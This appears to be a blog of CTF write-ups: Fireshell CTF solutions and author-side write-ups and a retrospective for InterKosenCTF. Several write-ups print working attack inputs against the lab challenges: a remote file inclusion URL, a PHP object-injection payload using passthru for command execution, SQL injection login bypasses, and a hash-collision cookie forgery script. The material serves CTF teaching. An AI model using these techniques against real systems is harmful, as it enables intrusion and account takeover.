ふるつき

v(*'='*)v かに

FireshellCTF writeup

I participated in Fireshell CTF as a member of team insecure with ptr-yudai, yoshiking, thrust2799. We got 16th place at the end of the CTF. I solved some challenges: babycryptoweb, biggars, and Blackbox-0.

Thanks, admins for this great CTF!

[Misc] babycryptoweb

We are given a simple PHP source code shown below. We can set parameters p and b and can replace one byte of $code. Considering the number of all combinations is 256 * count($code), which is so small, we can brute force all patterns.

<?php

$code = '$kkk=5;$s="e1iwZaNolJeuqWiUp6pmo2iZlKKulJqjmKeupalmnmWjVrI=";$s=base64_decode($s);$res="";for($i=0,$j=strlen($s);$i<$j;$i++){$ch=substr($s,$i,1);$kch=substr($kkk,($i%strlen($kkk))-1,1);$ch=chr(ord($ch)+ord($kch));$res.=$ch;};echo $res;';
    
if (isset($_GET['p']) && isset($_GET['b']) && strlen($_GET['b']) === 1 && is_numeric($_GET['p']) && (int) $_GET['p'] < strlen($code)) {
    $p = (int) $_GET['p'];
    $code[$p] = $_GET['b'];
    eval($code);
} else {
    show_source(__FILE__);
}

?>    

Because the generated $code may be an invalid PHP source code, be careful of handling the errors. Below is the script I wrote.

#!/bin/bash

for p in $(seq 235); do
        echo $p;
        for b in $(seq 256); do
                php hoge.php $p $b  2>/dev/null
        done
done

echo did
<?php

$code = '$kkk=5;$s="e1iwZaNolJeuqWiUp6pmo2iZlKKulJqjmKeupalmnmWjVrI=";$s=base64_decode($s);$res="";for($i=0,$j=strlen($s);$i<$j;$i++){$ch=substr($s,$i,1);$kch=substr($kkk,($i%strlen($kkk))-1,1);$ch=chr(ord($ch)+ord($kch));$res.=$ch;};echo $res;';

$p = (int)$argv[1];
$code[$p] = chr((int)$argv[2]);
eval($code);

...And by eye-grepping the outputs we got the flag F#{0n3_byt3_ru1n3d_my_encrypt1i0n!}. The correct parameters $p and $b are 5 and 203 respectively.

[Crypto] biggars

This is an RSA challenge with e, C, N known. ptr-yudai told me that N can be divided by many prime factors. I googled some keywords like "multi-prime RSA", then found this writeup of past CTF challenge. The solver could be applied to this challenge. Waiting for the output, I got the flag: F#{b1g_m0d_1s_unbr34k4bl3_4m_1_r1gh7?}

import gmpy
from keys import *

divisors = [[3, 1545], [7, 1626], [11, 1569], [13, 1552], [17, 1519], [19, 1673], [23, 1498], [29, 1667], [31, 1604], [37, 1542], [41, 1622], [43, 1525], [53, 1606], [59, 1531], [61, 1484], [67, 1631], [71, 1596], [73, 1495], [79, 1656], [83, 1658], [89, 1581], [97, 1592], [101, 1656], [103, 1487], [107, 1488], [109, 1577], [113, 1500], [127, 1514], [131, 1660], [137, 1610], [139, 1677], [149, 1637], [151, 1596], [157, 1656], [163, 1534], [167, 1627], [173, 1580], [179, 1646], [181, 1511], [191, 1651], [193, 1591], [197, 1562], [199, 1661], [211, 1539], [223, 1620], [227, 1492], [229, 1665], [233, 1654], [239, 1679], [241, 1620], [251, 1566], [257, 1622], [263, 1677], [269, 1551], [271, 1563], [277, 1507]]

# https://en.wikipedia.org/wiki/Euler%27s_totient_function
n_ary = []
a_ary = []
for p, k in divisors:
    pk = p ** k
    phi = pk * (p-1)/p
    d = gmpy.invert(e, phi)
    mk = pow(c, d, pk)
    n_ary.append(pk)
    a_ary.append(mk)

# http://rosettacode.org/wiki/Chinese_remainder_theorem#Python
def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * gmpy.invert(p, n_i) * p
    return sum % prod

m = chinese_remainder(n_ary, a_ary)
m = "%x" % m
print m.decode('hex')

[Reversing] Blackbox-0

This was very difficult for me, so I can't believe this challenge was solved by many players.

We are given a .NET PE32 binary which is obfuscated. I tried to deobfuscate it by de4dot and to follow its process, however, the binary was still very complex after the deobfuscation. Since ptr-yudai taught me the tool "process monitor" which can capture the system calls, I observed the events created by the program. Then I found WriteFile to %AppData%\Roaminig\.flag, but the program just wrote Just kidding, this is'nt the flag. But keep going =). Also, I grepped a curious string which write the arguments into takoyaki.txt. C:\Users\Administrator\Desktop\blackbox\base64.exe. After some trials, I found that this program used the base64.exe. So I made a dummy exe and executed the program again. Eventually, I found the arguments in takoyaki.txt: -D and RiN7TmljZV9hbmFsaXN5c19icm9fPV1ffQ==. Decoding this base64, I got the flag F#{Nice_analisys_bro_=]_}.

 #inclue <stdio.h>
 
 int main(int argc, char**argv) {
    int i;
    FILE *fp = fopen("takoyaki.txt", "w");
    for (i = 1; i < argc; i++) {
        fprintf(fp, "%s\n", argv[i]);
    }
    fclose(fp);
    return 0;
 }

InterKosenCTF writeup

公式writeupというほど大仰なものではないです。どちらかといえば作問振り返りで、自分語りに該当するやつなので、ちゃんとしたwriteupは参加者の皆さんのものを探してください。見つけ次第このエントリでもリンクを貼りたいとは思っています。

あとここにwriteup書いてないのはチームメイトが他に書くはず。

あわせてよみたい

furutsuki.hatenablog.com

bitbucket.org

[Cheat 150pts]spaceshipのwriteup

thrust2799.hatenablog.jp

僕の記事なんてどうでも良いのでこれを読んで!

ptr-yudai.hatenablog.com

[Web 100pts] Gimme Chocolate -- 21 solves

webは全問題ソースコードを公開して出題しました。これはptr-yudaiがそうしたいと言っていましたが僕も大いに賛成でした。そのほうが面白い気がする。

Gimme Chocolateですが、これはbrainf*ckを書いて保存 + 実行ができるページをPHPで実装しています。実装量を減らすためにwikipediaに書いてある仕様とは少し異なっていて[はwhileではなくdo while相当です(ハマりポイント★)。あと標準入力を備えていないので,はありません。

この問題でやることは100バイト以下でGive Me a Chocolate!!と出力するbrainf*ckコードを実行することですが、まあまず無理です(当初はもう少し短い文字列&128バイトまで可にしてたらptr-yudaiが実現してきたので制限を厳しくしました)。

ソースコードをぐっと睨むか、適当なソースコードを実行してもらうとわかりますが、このページでは実行するファイルの名前をfileというGETパラメータで与えていて、そのファイルをfile_get_contentsで読み込んで実行しています。fileの値を好きにできるので、任意のファイルを読み込ませて実行することができる、Local File Inclusion脆弱性を使うことが思いつきますが、読み込んだファイルはbrainf*ckのソースコードとして解釈されてしまうので中身を知ることはできず、ましてやGive Me a Chocolate!!を出力するのは無理そうです。そこでRemote File Inclusion脆弱性です。file_get_contentsように何かしらのパスを読むPHPの関数はhttp://www.example.comのようなパスも引数にとることができて、このようなURLでも中身をきちんと読みに行ってくれます。brainf*ckのソースコードが100byteに制限されるのはfwrite($fp, $_POST['code'], 100)という保存部分のせいなので、読み込むファイルが100byte以上でも問題なく動作します。

ということで、pastebin.comのようなサイトにGive Me a Chocolate!!を出力するbrainf*ckソースコードをおいておいて(これにはhttp://mikecat.usamimi.info/jstool/bfgen/ のようなサイトを使いました。ハマりポイント★に書いたように[がwhileでないので思ったように動作しないジェネレータもあり注意が必要です)、そのURLを読み込ませれば勝ちです。

http://web.kosenctf.com:8100/?execute&file=https://pastebin.com/raw/p7pgQ7Aq にアクセスするとフラグが手に入ります。フラグはBABYMETALのギミチョコ!! の歌詞から。最初奥田民生のギブミークッキーとどちらにするか悩んで長い方にしました。

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}

[Web 200pts] Secure Session -- 7 solves

ptr-yudaiの作問。独自のセッション管理を提供するページのようです。ソースコードが渡されているので眺めると、次のように脆弱っぽい場所が見つかります。POSTパラメータをそのままunserialize関数に突っ込んでいてdeserialization of untrusted dataというやつです。

if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
} else {
    // Or, you can also setup the handler manually.
    $SECRET_KEY = 'sample-password'; // Keep it secret!
    $crypto = new SecureCrypto();
    $handler = new SecureSession($SECRET_KEY);
    $handler->set_crypto('encrypt', array($crypto, 'encrypt'));
    $handler->set_crypto('decrypt', array($crypto, 'decrypt'));
}
session_set_save_handler($handler, true);

この $handlersession_set_save_handler($handler, true); のようにセッションハンドラとして使われています。PHPのカスタムセッションハンドラのページを見るとセッションハンドラとして登録されたインスタンスはopenやreadやwriteといったメソッドが呼ばれるようです。

$handlerのクラスであるSecureSessionではwriteはこのようにcryptoというメンバ変数のencryptを関数として呼び出しており、上のelse節では関数を登録している様子がわかります。

    public function write($id, $data)
    {
    $data = $this->crypto['encrypt']($this->key, $data);
    
    return parent::write($id, $data);
    }

ここから、「encryptに不正な関数を登録したcryptoを持つSecureSessionインスタンスPHP Object Injectionすればよいのではないか」という方針が立ちます。例えば、$this->crypto['encrypt']passthruだったら、passthru($this->key, $data)という呼び出しをすることになり、当然$keyも書き換えられるので、任意のOSコマンドを実行できます。

このようなPHP Objectを作るコードを書きます(説明ではencryptを書き換えていましたがソースコードではdecryptを書き換えています。どちらでも良いです)。問題からソースコードを流用してきました。

<?php

require_once "modules/crypto.php";
require_once "modules/session.php";

$SECRET_KEY = $argv[1];
$crypto = new SecureCrypto();
$handler = new SecureSession($SECRET_KEY);
$handler->set_crypto('encrypt', array($crypto, 'encrypt'));
$handler->set_crypto('decrypt', "passthru");

echo base64_encode(serialize($handler)) .PHP_EOL;

これで php hoge.php ls とすると、セッションをreadかwriteするタイミングでpassthru("ls", $data);が呼ばれるようなPHP Objectをシリアライズしてbase64encodeしたものがでてきます。これをPOSTのsaveパラメータとして渡すと、hOI_the_flag_is_here index.php modules ssm.tar.gzのような結果が帰ってきます。よくわかりませんがhOI_the_flag_is_hereはフラグの入ったファイルっぽいので、php hoge.php "cat hOI_the_flag_is_here"とした結果もおくってみます。

フラグは KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t} です。何書いてあるかよくわからない。

Web[250pts] Login -- 15 Solves

LoginとRegisterができるサイトで、adminという名前でログインできればフラグが手に入りますが、adminという名前のユーザはすでに登録されています。Registerはちゃんとしているのに、Loginには自明にSQL Injectionの脆弱性があります。ただし、$usernameadminでないとadminとしてはログインできず、また、$passwordと、SQLの結果のパスワードのmd5が一致している必要があります。ソースコード中でusleepしているのはtime based sql injectionの対策です。

        $username = $_POST['name'];
        $password = $_POST['password'];

        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }

単純なクエリではadminとしてはログインできなさそうですがRegisterができるので、適当なユーザ(ここではjoseph)として、次のようなパスワードでRegisterしてみます。このパスワードをadminとしてのログイン時に入力すると、josepthのパスワードを引っ張ってきたものをパスワードとしてすげ替えることができるので(つまりこのパスワード)、パスワードのmd5が一致し、adminとしてログインできます。

' UNION SELECT '', a.password FROM users AS a WHERE username='joseph';-- 

以下フラグ。そうですね。

KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}

[Web 50pts] Login Reloaded --- 3 Solves

はい。申し訳ありません。この問題に関する問題はもう書いたので、writeupを書きます。もともとこれを問題として出そうとしていたんですが、気まぐれでつけたRegister機能を使った解法をptr-yudaiが見つけたので、Loginを出題し、あんまりすぐ解かれたものだからやっぱりこちらもと思ってだしました。

Login ReloadedはLoginのページからRegister機能が失われたもので、adminとしてログインするにはいよいよ$passwordSQL Injectionの結果が一致する他ありません。

ということでこういうクエリになります。このパスワードはQuineになっていてSQLの実行結果が入力と同じになります。

'union select'admin',printf(s,s)from(select'''union select''admin'',printf(s,s)from(select%Qas s)-- 'as s)-- 

[Reversing 100pts] flag generator --- 25 Solves

ごめんなさい2号。writeupしていきます。渡されるのは64bit ELFで、実行してみても沈黙のまま終了する気配もありません。IDAでみてみたり、straceにかけたりしてみると、sleepしていることがわかります。

IDAでみてみて、えいっとデコンパイルするとこういうコードになっていることがわかります(これは元コードですが……)。

int s;
int r() {
  s = ((s * 1103515245U) + 12345U) & 0x7fffffff;
  return s;
}

int main() {
  int xs[] = {0x608f5935, 0x57506491, 0x27365557, 0x54e3dea1, 0x755a4ed5, 0x17f42eb7, 0x4a4f9059, 0x1a08e827, 0x0d9d391f, 0x59e533aa};
  int first = 0x25dc167e;

  int xlen = 10;
  int cnt = 0;
  int flag = 0;
  int v = 0;
  while (1) {
    if (!flag) {
      s = time(NULL);
    }

    v = r();
    if (v == first) {
      flag = 1;
    }
    if (flag) {
      v ^= xs[cnt];
      printf("%s", (char*)&v);
      cnt++;
      if (cnt == xlen) {
        break;
      }
    }

    sleep(1);
  }

  return 0;
}

雑な解析をすると、rはrandom関数で、sというグローバル変数の値に依存して乱数を生成しています(これ昔のlibcのrandの実装)。そして、sをtime(NULl)の結果にして、r() の結果が0x25dc167eになるまではひたすらsleep(1)しているようです。その後はどうやらxorでフラグを出力している様子。

ということで、r()の結果が0x25dc167eになったところからをエミュレートしてみます(rは返した値を次のシードにしてるのでこういうことができる)。

from oldknife import *
import sys

s = 0
def r():
    global s
    s = ((s * 0x41C64E6D) + 0x3039) & 0x7fffffff
    return s

s = 0x25DC167E
xs = [0x608F5935, 0x57506491, 0x27365557, 0x54E3DEA1, 0x755A4ED5, 0x17F42EB7, 0x4A4F9059, 0x1A08E827, 0x0D9D391F, 0x59E533AA]

for i, x in enumerate(xs):
    sys.stdout.write(i2h(s ^ x).decode("hex")[::-1])
    r()

sys.stdout.write("\n")

実行するとKOSENCTF{IS_THIS_REALLY_A_REVERSING?}が得られます。ほんとだよ。

これをLD_PRELOADなどでやった場合、printf("%s", (char*)&v);のところで\bのようなゴミが入って出力中の?が消されてしまっていたようです。ごめんなさい……。

[Reversing 200pts] flag checker -- 8 Solves

64bit ELFです。真面目にreversingをするcrack me問題。check関数とh関数があり、それぞれこんな感じです。デコンパイルは真面目にやるとできるはず……。

void h(char *s, char **r) {
  int l = strlen(s);
  int p = 4 - (l % 4);
  char *buf = malloc(sizeof(char) * (l + p));
  *r = malloc(sizeof(char) * (l + p));

  strncpy(buf, s, l);
  for (int i = l; i < l+p; i++) {
    buf[i] = p;
  }

  unsigned int k = 0xDEC0C0DE;

  unsigned  int hash = 0;
  for (int j = (l+p)/4 - 1; j >= 0; j--) {
    hash ^= ((unsigned int*)buf)[j] ^ k;
    k = (k << 8) | (k >> 24);
    ((unsigned int*)(*r))[j] = hash;
  }

  free(buf);
}


int check(char *s) {
  char *buf;
  char *x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd";
  h(s, &buf);

  int r = 1;
  for (int i = 0; i < strlen(buf); i++) {
    if (buf[i] != x[i]) {
      r = 0;
      break;
    } 
  }

  free(buf);
  return r;
}

checkは入力をhにかけて、その結果をxと比較しています。hはハッシュっぽい関数で入力に4バイトのパディングをつけたあと、後ろから4バイトずつ、kという値とのxorをとっています。kは初期値がDEC0C0DEで、毎回bitずつ巡回シフトをしています。

kの値がわかればxorをするだけなので簡単です。

import struct

k = 0xDEC0C0DE
x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd"

h = 0
ms = []
for i in range(len(x) / 4 - 1, -1, -1):
    y = struct.unpack("<I", x[i*4:(i+1)*4])[0]
    m = k ^ y ^ h
    ms.append(struct.pack("<I", m))
    h = m ^ k ^ h
    k = ((k << 8) | (k >> 24)) & 0xFFFFFFFF;
print("".join(reversed(ms)))

KOSENCTF{TOO_EASY_TO_DECODE_THIS} 。これ100点のつもりで作ったら200点になった。

[Reversing 300pts] Rolling Triangle --- 1 Solve

ちょっと書くのが面倒なので、 ptr-yudaiが問題チェックの際に書いたやつをコピってぺっします。

=== ここから ===

引数に与えた文字列がフラグかをチェックしてくれる。

概要

まずは与えられたバイナリをidaで解析する。小数を含む演算が多様されるが、案外読みやすかった。全体をCに戻すとこんな感じ。

#include <stdio.h>
#include <math.h>

double values[0x25];

void initialize(char* input, double* list)
{
    double x;
    int i, j;
    for(i = 0; i < 0x25; i++) {
        list[i] = 0.0;
        for(j = 0; j < 0x25; j++) {
            x = 2 * M_PI * i * j / 37.0;
            list[i] += input[j]*cos(x) - input[j]*sin(x);
        }
    }
}

int check(double a, double b)
{
    if (fabs(a - b) <= 0.001) {
        return 1;
    }
    return 0;
}

int main(int argc, char** argv)
{
    int cnt;
    double list[0x25];

    if (argc == 1) {
        printf("Usage: %s flag\n", argv[0]);
        return 0;
    }
    
    if (strlen(argv[1]) != 0x25) {
        puts("Wrong...");
        return 0;
    }
    
    initialize(argv[1], list);
    for(cnt = 0; cnt < 0x25; cnt++) {
        if (!check(list[i], values[i])) {
            puts("Wrong...");
            return 0;
        }
    }
    
    puts("Correct!");
    return 0;
}

ここでvaluesには小数値が入っているが、これをIDAから取り出す。次のようなIDCで取り出せる。

auto addr = 0x0404080;
auto size = 37;
auto f = fopen("/tmp/values.dmp", "wb");
savefile(f, 0, addr, size);
fclose(f);

計算

作問者がフーリエ云々と言っていたのは知っていたが、これを見てフーリエとは気付かないと思うので普通ならどうするかを考えて解いた。 フラグのn文字目をf_nとしてlistがどうなっているかを考える。listをl、valuesをvと表記すると、

$$ f_1 + f_2 + \cdots + f_{37} = v_1 $$

$$ f_1 + f_2 \left(\cos{\cfrac{2\pi \times 1}{37}} - \sin{\cfrac{2\pi \times 1}{37}}\right) + \cdots + f_{37} \left(\cos{\cfrac{2\pi \times 37}{37} - \sin{\cfrac{2\pi \times 37}{37}}}\right) = v_2 $$

$$ \cdots $$

といった具合で37元1次連立方程式が立てられる。したがって、これを解いてやればフラグ$f_n$が求まる。 numpyを使って解いた。

import struct
from numpy import *
from numpy.linalg import *
from math import cos, sin

c1 = struct.unpack('>d', "\x40\x19\x21\xFB\x54\x44\x2D\x18")[0]
c2 = struct.unpack('>d', "\x40\x42\x80\x00\x00\x00\x00\x00")[0]
c3 = struct.unpack('>d', "\x3F\x50\x62\x4D\xD2\xF1\xA9\xFC")[0]
values = open("values.dmp", "rb").read()

flag = ""

clist = []
for i in xrange(37):
    c = []
    for j in xrange(37):
        x = c1 * i * j / c2
        c.append(cos(x) - sin(x))
    clist.append(list(c))

alist = []
for i in range(37):
    alist.append(struct.unpack('<d', values[i*8:(i+1)*8])[0])

a = array(clist)
b = array(alist)
x = solve(a, b)
flag = ""
for c in x:
    flag += chr(int(c + c3))

print(flag)

数学がいい感じに使える良問だと思う。卒論お手伝いしてたので飛び飛びになったが、解くのには1時間前後かかった。

===ここまで===

問題としては、フーリエ変換したフラグを内部で持っていて、入力もフーリエ変換しているので内部の値をフーリエ逆変換したらフラグが戻せる感じでした。高専っぽくない?

問題名は三角関数→ローリング△さんかく→Rolling Triangleです。フラグも同じく周防桃子ちゃんから。かわいいよね。僕は周防桃子ちゃんと真壁瑞希ちゃんが好きです。

[Crypto 100pts] strengthened --- 30 solves

簡単なRSAで、$me < n$にならないようにシフトが入ってます。ただ、こういうことをしてるとcとmeの値が近くなるので$c*x = me$となるxが求められそうです。たくさんシフトをして末尾のbit列が0になっているようなmが求まるまでxを探索するだけで解けます。

from Crypto.PublicKey import RSA
from flag import flag

assert(flag.startswith("KOSENCTF"))

m = int(flag.encode("hex"), 16)
key = RSA.generate(2048, e=3)

while pow(m, key.e) < key.n:
    m = m << 1

c = pow(m, key.e, key.n)
print("c={}".format(c))
print("e={}".format(key.e))
print("n={}".format(key.n))
from Crypto.Util import number
from Crypto.PublicKey import RSA
import gmpy
import sys

def root_e(c, e):
    m = gmpy.root(c, e)[0]
    return long(m)

def ashexstr(h):
    s = "{:0x}".format(h)
    if len(s) % 2 == 1:
        s = "0" + s
    return s.decode("hex")

x, y, z = open(sys.argv[1]).read().split()
c = int(x.split("=")[1])
e = 3
n = int(z.split("=")[1])

# print(ashexstr(root_e(c, e)))

c2 = c
for i in range(10):
    c2 += n
    s = bin(root_e(c2, e))
    if s.endswith("00000000000"):
        print(ashexstr(int(s.rstrip("0")[2:], 2)))
        break

KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

[Crypto 150pts]Oh my Hash --- 3 solves

これちゃんとhashの差分みてフラグとった人がいるんですね……。なんか適当な作問してて申し訳なくなってきた。

adminとしてログインする問題で、Login + remember me と Registerがあります。

ソースコードをみるとadminのremember tokenをこんな感じで作っていて

g['tokens'] = {
    myhash((SALT + "admin").encode()).decode(): "admin"
}

ログイン時にremember_tokenが付与されます。

            if request.form.get('remember'):
                token = myhash((SALT + name).encode()).decode()
                if token not in g['tokens'].keys():
                    g['tokens'][token] = name
                resp.set_cookie('remember_token', value=token, max_age=60*60*24)

remember_tokenが与えられたときのログイン処理

    token = request.cookies.get('remember_token')
    if token and token in g['tokens']:
        session['user'] = g['tokens'][token]
        resp = make_response(render_template('user.html', user=session['user'], flag=FLAG))
        resp.set_cookie('remember_token', value='', expires=0)
        return resp

肝心のhash関数はこうです。

def myhash(message):
    xs = myhash_impl(message)
    return binascii.hexlify(functools.reduce(lambda x, y: x + y, [x.to_bytes(4, 'big') for x in xs]))

def myhash_impl(message, iv=(0xDEADBEEF, 0xCAFEBABE, 0x00C0FFEE, 0x5017B047)):
    # add padding
    l = (64 - len(message)) % 64
    message += l.to_bytes(1, 'big') * l

    A, B, C, D = iv

    f = lambda x, y: (((x<<1)^(y>>5)) ^ ((x>>16)|(y<<16))) & 0xFFFFFFFF
    g = lambda x, y: ((x<<4) | ((y << 1) ^ (y >> 10))) & 0xFFFFFFFF
    h = lambda x, y: (x|y) ^ (x&y)

    for i in range(0, len(message), 16):
        a = int.from_bytes(message[i:i+4], 'big')
        b = int.from_bytes(message[i+4:i+8], 'big')
        c = int.from_bytes(message[i+8:i+12], 'big')
        d = int.from_bytes(message[i+12:i+16], 'big')

        A = f(g(B, a), h(C, d))
        B = f(g(C, b), h(D, a))
        C = f(g(D, c), h(A, b))
        D = f(g(A, d), h(B, c))

    return [A, B, C, D]

こんなの絶対読みたくないですよね、と思って見ると、 #add paddingのところだけなんかコメントついてるし怪しいですね。実は実装が微妙に間違っていて、本来 l = 64 - (len(message) % 64) とするところを間違えてしまっています。これだと、x...x (xが63個)の入力とx...x\x01 の入力が等しくなってしまい、当然ハッシュも等しくなってしまいます。

それではadminのremember_tokenではどうかと思って振り返ると myhash((SALT + "admin").encode()).decode() というふうに謎の SALTが与えられています。ですが、SALTはどのユーザにも共通なので、SALTの長さを探索して、admin\x01, admin\x02\x02, ……としていけば60回も施行せずにadminと同じremember_tokenをもったユーザを作ることができます。

import sys
import requests

def pad(message):
    l = (64 - len(message)) % 64
    message += l.to_bytes(1, 'big') * l
    return message

def work(message, l):
    # calculate padding character
    pc = pad(('x'*l + message).encode()).decode()[-1]
    l2 = (64 - (len(message) + l)) % 64
    return message + pc * l2


BASE = "admin"
URL = "http://others.kosenctf.com:10200/"
for s in range(64):
    name = work(BASE, s)
    r = requests.post(URL + "register", data={"name": name, "password": "hoge"})
    r = requests.post(URL + "login", data={"name": name, "password": "hoge", "remember": "on"}, allow_redirects=False)


    c = {
            "remember_token": r.cookies.get_dict()['remember_token']
    }

    r = requests.get(URL, cookies=c)
    if "Save" in r.text:
        print(r.text)
        print(repr(name))
        break

KOSENCTF{PADDING_MAKES_THIS_MORE_VULNERABLE} なるほど。ちなみに問題名はoh my zshからつけたけどフラグを考えるときにはそのことを忘れていました。

[Crypto 300pts] slot machine --- 2 solves

最初は僕がRSAの準同型性で作ってたんですがtoo easyだったので師匠が改善してくれました。wrietup書き直すの面倒なんでinsecure内部のwriteupを晒しときます。

hackmd.io

[Forensics 50pts] attack log --- 66 solves

$ grep 200 -B 5 -a attack_log.pcapng 
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.13.0
Authorization: Basic a29zZW46YlJ1dDNGMHJjM1cwcmszRA==

 \�}"���<<D�[^G80�E(4�@@����
                            ��Ph�a�C��'P��\0�}����D�[^G80�E4�@@����
                                                                   ��Ph�a�C��'P�zHTTP/1.1 200 OK
echo a29zZW46YlJ1dDNGMHJjM1cwcmszRA== | base64 -d
kosen:bRut3F0rc3W0rk3D

ということで KOSENCTF{bRut3F0rc3W0rk3D}

この問題でKOSENCTF{<the password for the basic auth>}っておくってくるチームが多かったんですがこれはなんですか?

[Forensics 200pts] conversation --- 27 solves

foremostで頑張るとjpegが出てくるらしいですね。焦る。writeup書くの飽きてきたのでこれも出来合いのものを

hackmd.io

[Forensics 300pts] matroska --- 1 solve

思った以上に解かれなかった。ファイルサイズにびびったのかvolatilityが古かったのか、単に解けなかったのかどれなんでしょう?

writeupはこれもinsecure内部のを。

hackmd.io

参考になるwriteup群

yoshikingが頑張ってサーチしてくれましたが、抜けてたり新しく書いたりしたらこっそり教えてください。

高専1位おめでとうございます proelbtn.hateblo.jp

Web問つくるときにwriteupめっちゃ参考にしました。良問の評価を頂いて嬉しいです graneed.hatenablog.com

angrでflag checker解いてるwriteupがあります。あとこの難易度をちょうどよいと言ってくれる高専生がいて嬉しい scrapbox.io

conversationのかしこい方のwriteupです dawning.hatenablog.com

ゴルフお疲れ様です…… szarny.hatenablog.com

strengthenedの想定解法を丁寧に書いてくれてて良さ kent056-n.hatenablog.com

strengthenedのwriteupのはずなのに読んでもわかんなかった ykm11.hatenablog.com

解けてよかったです! yukium.hatenablog.jp

074m4K053nつよい

nonsenseofname.hatenadiary.com

InterKosenCTFを開催した

あわせてよみたい:

furutsuki.hatenablog.com

ptr-yudai.hatenablog.com

InterKosenCTF反省会

 我々insecure(ptr-yudai, theoldmoon0602, thrust2799, yoshiking)は、2019-01-18 21:00 ~ 2019-01-20 21:00 (JST)の48時間、高専生向けと銘打ったCTF、InterKosenCTFを開催しました。出題した問題のwriteupは後日ちゃんと書くとして、この記事ではCTF全体の振り返りをやっていきます。

結果

 登録チーム数は105チーム、1点以上獲得したチームはNで、参加者は170人でした。優勝はStereo Sky Townで4050pts、単一高専高専生だけからなるチームでの1位はproelbtnが1650ptsでした。また、個人の最多得点はst98さんで、2550ptsでした。おめでとうございます。その他の参加者の皆さんも、お疲れ様でした。

f:id:Furutsuki:20190120221157p:plain

スコアサーバについて

 スコアサーバを書きました。これについては書きたかったから書いたとしか言いようがありません。競技中に一度重たくなって再起動をかけたこと以外は特に問題なく動いてくれましたが、やってみた結論としては「CTFdつかえ」になりそうです。CTFdのほうが圧倒的に完成度が高い。

 スコアサーバを書く上で一番苦心したのはデザインで、格好良いスタイルや伝わりやすいデザインというものが全くわからないので本当に大変でした。時点で時刻の扱いに困った。結局CTFの開始時にはグラフの時刻だけUTCになってしまうという問題が発生して競技中にもかからわず一瞬スコアサーバの再起動を伴う修正を入れました。

インフラについて

 AWSを使いました。t2.microをスコアサーバ用とデバッグ用に1台ずつ、それから問題サーバ用に3台で、スコアサーバはELBとWAFを噛ませてあります。kosenctf.comというドメインは探してみたらあったので思い切って買って、DNSはRoute 53で管理してました。もう使う予定ないけど。このドメイン使いたい方がいらっしゃればお譲りします。

 それでお値段なんですが、大体1ヶ月動かし続けて $58.04 です。ドメイン代$12.00も含まれています。思ったよりかかってしまった。こういう状況でお財布によくないので、スコアサーバも問題サーバもCTFが終わったら落としてると思います。

f:id:Furutsuki:20190119180554p:plain
これは今月分の料金

 これも反省点ですが、ちょっと重たいファイルを問題として提供した際、スコアサーバでキャプチャしていたパケットファイルが1秒に数百Mという単位で膨れてハードディスクの容量が足りなくなる問題に遭遇したりしました。

タスク管理について

 作問の管理はgitリポジトリのREADMEで行いました。問題のリポジトリ(https://bitbucket.org/kosenctf/challenges/)もそのうち公開する予定でいます。だいたい1ジャンル3問で、100、200、300くらいの配点になるように問題を作りました。これは決めていたというわけではないですが、なんとなくptr-yudaiとの共通認識としてこうなりました。各問題は一応作問者意外の誰かしらが解けることを確認していて、余裕があるとwriteupも書いています(これは勉強用)。

 問題そのものの反省はwriteupでやるとして、作問の反省点といえば仕事量ですね。結局21問出題しましたが私が作ったのが8問で、残りの13問は全てptr-yudaiが作問しました。ちょっとバランスが悪くて、質問に対応するコストなんかもあるのでもうちょっと負荷分散したいなあというところです。

 作問以外のタスクはhackmdにチェックリストを作って管理していました。これはそれなりにうまく行った気がします。結局やらなくてチェックのついてないタスクもありますが……。

運営

 楽しいですね。フラグのSubmitを見ているだけで楽しい。誰かが自分の作った問題に取り組んでいるのを見るとすごくハイになります。

 運営の反省は「なぜ自動化しなかったのか」で、まあできなかったんですけど、問題の公開とポート開放を自動化、公開された問題の配布ファイルが正しいかチェック、問題のヘルスチェックを自動化などするべきでした。手作業でAWSのSecurity GroupのInbound Rulesを追加したり、オープンする問題を指定して毎回コマンドを打ったりしていて愚かしい。

 それから「突貫の問題を出すときはしつこくチェック」ですかね。2問ほど突貫の問題を出したんですが、Login Reloadedではスコアサーバに登録した正答のフラグが間違っていて、Image Uploaderでは作問者が寝ている間に問題が落ちたときの対処がわからず困り果てました。これらのミスはまあ仕方がないといえばそうなんですが本当に精神と参加者に悪いので病む……。

 「競技者に助言しすぎない」、というのもあります。送られてきたフラグに0とOの間違いがあって、その提出を行った人がtwitterで「わからん」と言っていたので「解けてるよ」と言ったんですがこれはやりすぎでした。せいぜい、「わからないところがあったら質問してね」くらいに留めるべきですね。でもそれだとちょっと冷たすぎる気もしているんですよね。あんまり質問とかせずにTwitterに「わからん」って書いて済ましちゃうので、そういう部分のフォローも入れるべきかなと思ったりもしていました。

問題について

 これは深く反省しないといけないやつなので、こちらにもかきます。flag generator という問題と、Login / Login Reloaded という2つの問題についてです。

